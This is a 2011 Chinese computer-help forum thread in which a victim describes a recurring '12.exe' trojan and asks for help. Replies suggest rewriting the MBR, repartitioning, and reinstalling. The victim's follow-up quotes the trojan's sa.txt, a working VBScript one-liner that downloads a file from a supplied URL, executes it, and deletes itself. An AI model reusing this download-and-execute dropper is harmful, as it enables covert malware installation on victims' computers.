thghx 发表于 2011-1-22 22:08

12.exe木马

这段时间，电脑上经常被查出C盘下有12.exe还有sa.txt文件，查杀后过两天又自动出现了，连续几次重装系统都不管用，到今天的时候有一个非常熟悉的网友问我**充值卡的事，我才知道事情比我想像的要严重。从网上查了一下，根本没有好的解决办法，不知道哪位朋友能帮忙？

2011年2月18日补充
我今天把sa.txt文件的内容复制了一份，用其他文件名保存，但仍然被杀毒软件查杀。内容如下：
fn=wscript.Arguments(1):set x=CreateObject("Microsoft.XMLHTTP"):x.Open "GET",wscript.Arguments(0),0:x.Send():set m=CreateObject("ADODB.Stream"):m.Mode=3:m.Type=1:m.Open():m.Write x.Resp**eBody:m.SaveToFile fn,2:set a=CreateObject("shell.application"):a.shellexecute fn:a.shellexecute "cmd.exe","/c del C:\sa.txt"
不知道谁能帮忙分析一下这个文件是什么意思？

wj96202 发表于 2011-1-22 22:19

备份重要c数据。进去pe,运行diskgen重建分区表重写保留扇区。然后重装系统。完成后做个ghost备份。不要急着装软件。金山在线杀毒查杀。装其他杀毒彻底扫描。几种杀毒都扫描一遍。单个杀毒容易清理不干净

thghx 发表于 2011-1-23 08:02

这一步没操作过，能详细介绍一下吗？

dulicanyang 发表于 2011-1-23 19:25

我被c:\windowns下的lee.exe病毒困扰了很久。请问这个病毒是不是感染了分区表？需要重写？是鬼影吗？

meloner 发表于 2011-1-24 12:20

dulicanyang 发表于 2011-1-23 19:25 static/image/common/back.gif
我被c:\windowns下的lee.exe病毒困扰了很久。请问这个病毒是不是感染了分区表？需要重写？是鬼影吗？

感染引导区的病毒，
diskgen重写引导区，清除保留扇区，论坛系统的启动界面都有diskgen这个软件

fuzhenxing 发表于 2011-1-24 12:56

装360试试，干脆点就重新分区

748926638 发表于 2011-1-25 11:15

有没有把c盘格式化 主引导记录写一下 再装系统看看呢

dulicanyang 发表于 2011-1-25 18:20

本帖最后由 dulicanyang 于 2011-1-25 18:24 编辑

重写了MBR ，重做了系统。顺便做了免疫文件夹。以观后效。。。

陶成君 发表于 2011-1-27 20:48

如果不行把硬盘初始化！

bah676 发表于 2011-1-27 23:16

把硬盘清零，分区做系统

fuzhenxing 发表于 2011-1-28 15:27

简单点就重新分区，再装系统

tlgsw 发表于 2011-1-28 15:37

楼上正解，差不多了

hxbnm123 发表于 2011-1-31 20:09

6.0系统的话 就换其他版本

珍惜开心 发表于 2011-2-1 09:54

支持一下哦

jzlwg 发表于 2011-2-1 15:20

换个电脑吧这样最彻底呵呵    轻轻的飘过
页: [1] 2
查看完整版本: 12.exe木马